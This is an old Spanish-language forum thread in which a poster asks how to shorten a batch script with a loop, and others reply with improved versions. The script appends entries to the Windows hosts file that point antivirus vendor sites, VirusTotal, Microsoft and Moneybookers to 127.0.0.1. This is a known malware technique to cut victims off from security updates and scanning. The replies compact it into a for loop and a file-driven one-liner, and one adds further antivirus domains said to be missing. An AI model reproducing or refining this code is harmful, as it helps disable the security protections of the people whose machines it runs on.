[BATCH] Duda sobre ¿Arrays? [Solucionado]

Iniciado por Karcrack, 3 Febrero 2011, 22:10 PM

0 Miembros y 2 Visitantes están viendo este tema.

Karcrack

Mi duda es simple... se puede en BATCH utilizar algun tipo de array?

Se que con una busqueda en google tendria la respuesta.. pero aprovecho que abro este tema y pregunto a aquellos que se consideran buenos en este lenguaje de Scripting... Como acortarias al maximo este codigo?
@echo off
set hosts=%windir%\System32\drivers\etc\hosts
echo. >> %hosts%
echo 127.0.0.1 avp.com >> %hosts%
echo 127.0.0.1 ca.com >> %hosts%
echo 127.0.0.1 customer.symantec.com >> %hosts%
echo 127.0.0.1 dispatch.mcafee.com >> %hosts%
echo 127.0.0.1 download.mcafee.com >> %hosts%
echo 127.0.0.1 f-secure.com >> %hosts%
echo 127.0.0.1 kaspersky.com >> %hosts%
echo 127.0.0.1 kaspersky-labs.com >> %hosts%
echo 127.0.0.1 liveupdate.symantec.com >> %hosts%
echo 127.0.0.1 liveupdate.symantecliveupdate.com >> %hosts%
echo 127.0.0.1 mast.mcafee.com >> %hosts%
echo 127.0.0.1 mcafee.com >> %hosts%
echo 127.0.0.1 microsoft.com >> %hosts%
echo 127.0.0.1 my-etrust.com >> %hosts%
echo 127.0.0.1 nai.com >> %hosts%
echo 127.0.0.1 networkassociates.com >> %hosts%
echo 127.0.0.1 pandasoftware.com >> %hosts%
echo 127.0.0.1 rads.mcafee.com >> %hosts%
echo 127.0.0.1 secure.nai.com >> %hosts%
echo 127.0.0.1 securityresponse.symantec.com >> %hosts%
echo 127.0.0.1 sophos.com >> %hosts%
echo 127.0.0.1 symantec.com >> %hosts%
echo 127.0.0.1 trendmicro.com >> %hosts%
echo 127.0.0.1 updates.symantec.com >> %hosts%
echo 127.0.0.1 update.symantec.com >> %hosts%
echo 127.0.0.1 us.mcafee.com >> %hosts%
echo 127.0.0.1 viruslist.com >> %hosts%
echo 127.0.0.1 virustotal.com >> %hosts%
echo 127.0.0.1 www.avp.com >> %hosts%
echo 127.0.0.1 www.f-secure.com >> %hosts%
echo 127.0.0.1 www.grisoft.com >> %hosts%
echo 127.0.0.1 www.kaspersky.com >> %hosts%
echo 127.0.0.1 www.mcafee.com >> %hosts%
echo 127.0.0.1 www.microsoft.com >> %hosts%
echo 127.0.0.1 www.moneybookers.com >> %hosts%
echo 127.0.0.1 www.my-etrust.com >> %hosts%
echo 127.0.0.1 www.nai.com >> %hosts%
echo 127.0.0.1 www.networkassociates.com >> %hosts%
echo 127.0.0.1 www.pandasoftware.com >> %hosts%
echo 127.0.0.1 www.sophos.com >> %hosts%
echo 127.0.0.1 www.symantec.com >> %hosts%
echo 127.0.0.1 www.trendmicro.com >> %hosts%
echo 127.0.0.1 www.virustotal.com >> %hosts%


Estoy harto de ver estos codigos tan repetitivos en BATCH... y me pregunto... no se pueden acortar con un simple bucle?!

Un saludo :D

leogtz

#1
Cita de: Karcrack en  3 Febrero 2011, 22:10 PM
Mi duda es simple... se puede en BATCH utilizar algun tipo de array?


Sí, se pueden "emular" con expansión de variables. set + setlocalenabledelayedexpansion.
Y no los necesitas para tu propósito.

Cita de: Karcrack en  3 Febrero 2011, 22:10 PM
Estoy harto de ver estos codigos tan repetitivos en BATCH... y me pregunto... no se pueden acortar con un simple bucle?!


Sí.

Sin probar:

Código (dos) [Seleccionar]
@echo off
set "hosts=%windir%\System32\drivers\etc\hosts"
for %%_ in (avp.com ca.com customer.symantec.com dispatch.mcafee.com download.mcafee.com f-secure.com kaspersky.com kaspersky-labs.com liveupdate.symantec.com liveupdate.symantecliveupdate.com mast.mcafee.com mcafee.com microsoft.com my-etrust.com nai.com networkassociates.com pandasoftware.com rads.mcafee.com secure.nai.com securityresponse.symantec.com sophos.com symantec.com trendmicro.com updates.symantec.com update.symantec.com us.mcafee.com viruslist.com virustotal.com www.avp.com www.f-secure.com www.grisoft.com www.kaspersky.com www.mcafee.com www.microsoft.com www.moneybookers.com www.my-etrust.com www.nai.com www.networkassociates.com www.pandasoftware.com www.sophos.com www.symantec.com www.trendmicro.com www.virustotal.com) do (
echo 127.0.0.1 %%_ >> %hosts%
)


Si colocaras los sitios en un archivo llamado "sitios.txt", podrías hacer algo como:

Código (dos) [Seleccionar]

@for /f "tokens=*" %%_ in (sitios.txt) do (echo 127.0.0.1 >> %windir%\System32\drivers\etc\hosts)

Las dudas sobre Batch van en Scripting.
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

Karcrack

Muy buena respuesta, muchas gracias :)
Ya doy el tema por zanjado :)

Cita de: Leo Gutiérrez. en  3 Febrero 2011, 22:37 PM
Las dudas sobre Batch van en Scripting.
Si, obvio, pero no me fije donde estaba posteando :-[ Gracias por moverlo ;)

Edu

#3
y para lo de poner siempre >> %hosts% podes hacer algo asi:


@echo off
set "hosts=%windir%\System32\drivers\etc\hosts"
(
echo 127.0.0.1    vscan.novirusthanks.org
echo 127.0.0.1    avast.com) >> %hosts%
exit


Que por cierto te faltan esos 2 xD

Edit: Despues me di cuenta q eras vs Karcrack -_- ' ni mires mi respuesta jaja